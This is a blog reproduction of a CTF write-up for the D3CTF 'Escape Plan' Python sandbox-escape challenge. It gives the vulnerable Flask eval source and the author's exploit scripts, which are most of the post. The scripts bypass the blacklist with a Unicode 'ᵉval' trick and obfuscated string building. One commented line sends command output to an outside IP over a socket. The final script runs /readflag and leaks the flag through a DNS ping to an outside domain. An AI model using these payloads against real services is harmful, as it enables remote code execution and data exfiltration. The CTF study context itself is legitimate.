您现在的位置是:首页 >技术杂谈 >ctf web复现网站首页技术杂谈
ctf web复现
简介ctf web复现
D3CTF-WEB
Escape Plan
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def challenge_3():
cmd = request.form.get("cmd", "")
if not cmd:
return """<pre>
import requests, base64
exp = ''
requests.post("", data={"cmd": base64.b64encode(exp.encode())}).text
</pre>
"""
try:
cmd = base64.b64decode(cmd).decode()
except Exception:
return "bad base64"
black_char = [
"'", '"', '.', ',', ' ', '+',
'__', 'exec', 'eval', 'str', 'import',
'except', 'if', 'for', 'while', 'pass',
'with', 'assert', 'break', 'class', 'raise',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
]
for char in black_char:
if char in cmd:
return f'failed: `{char}`'
msg = "success"
try:
eval(cmd)
except Exception:
msg = "error"
return msg
他给了app.py的源码,我们分析分析。
- 定义了一个名为 challenge_3 的函数,可以接收get和post的请求
- 首先从请求的表单数据中获取名为 "cmd" 的值。如果没有找到 "cmd",则返回一个代码使用 requests 库发送 POST 请求并将 "cmd" 参数编码为 base64。
- 如果找到了 "cmd",则尝试对其进行 base64 解码。如果解码失败,返回 "bad base64"。
- 遍历 black_char 列表,检查 "cmd" 是否包含任何不允许的字符,就是黑名单。
Python 沙箱逃逸的通解探索之路 | CN-SEC 中文网
这里面最后一个给了我们一个payload,通过对比发现只用绕过eval,我们可以使用ᵉval来代替eval,我们先本地测试一下
import base64
u = '??????????'
# a = b'''__import__('os').popen('python -c "import socket, os; flag = os.popen(\"whoami\").read().encode();host = \"120.48.123.181\";port=7777;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((host, port));s.sendall(flag);s.close();a=1;"').read()'''
a = base64.b64encode(b"__import__('os').popen('whoami').read()").decode()
a += "="
CMD = "eval(vars(eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict({}()))[len([])]))".format(a)
CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})
base = CMD.replace("eval","ᵉval")
cmd = base64.b64encode(base.encode())
try:
cmd = base64.b64decode(cmd).decode()
except Exception:
print("bad base64")
black_char = [
"'", '"', '.', ',', ' ', '+',
'__', 'exec', 'eval', 'str', 'import',
'except', 'if', 'for', 'while', 'pass',
'with', 'assert', 'break', 'class', 'raise',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
]
for char in black_char:
if char in cmd:
print(f'failed: `{char}`')
try:
print(eval(cmd))
except Exception:
print("error")
这里我原本尝试了很多种方法,结果发现都是error,到最后发现是python base64模块缘故,导致解析错误,他需要补一个等号才可以,但是尝试其他的方法有不行了
然后看到这里发现又有别的方法Docs,利用数组切片进行截取
import requests
import base64
shell='ping -c 1 `/readflag`.c17fafb7.dns.dnsmap.org'
s=''
for i in shell:
s+="chr("+str(ord(i))+")+"
print(s[0:-1])
payload = payload = "__import__('os').popen({})".format(s[0:-1])
payload1 = "ᵉxec(repr(request)[(len(black_char[len([])])<<(len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])<<len(black_char[len([])])|len(black_char[len([])]))):len(repr(request))-int(black_char[len(black_char)-len(black_char[len([])])])])"
data = {"cmd": base64.b64encode(payload1.encode('utf-8')).decode('utf-8')}
url='http://47.102.115.18:30634/?'+payload
response=requests.post(url=url,data=data)
print(response.text)
这里我们分析一下这个切片
- repr(request):返回一个表示 request 对象的字符串。
- 然后这个request对象是Flask自动传递的,应该就是我们通过get传输进来的值
- repr(request)[值1:值2] ,这个应该获得上面请求中那一部分可以执行的,最后传入eval中
这里我们本地看一看
他最后获得的应该就是这些,然后进行执行通过ping DNS将flag带出来
风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。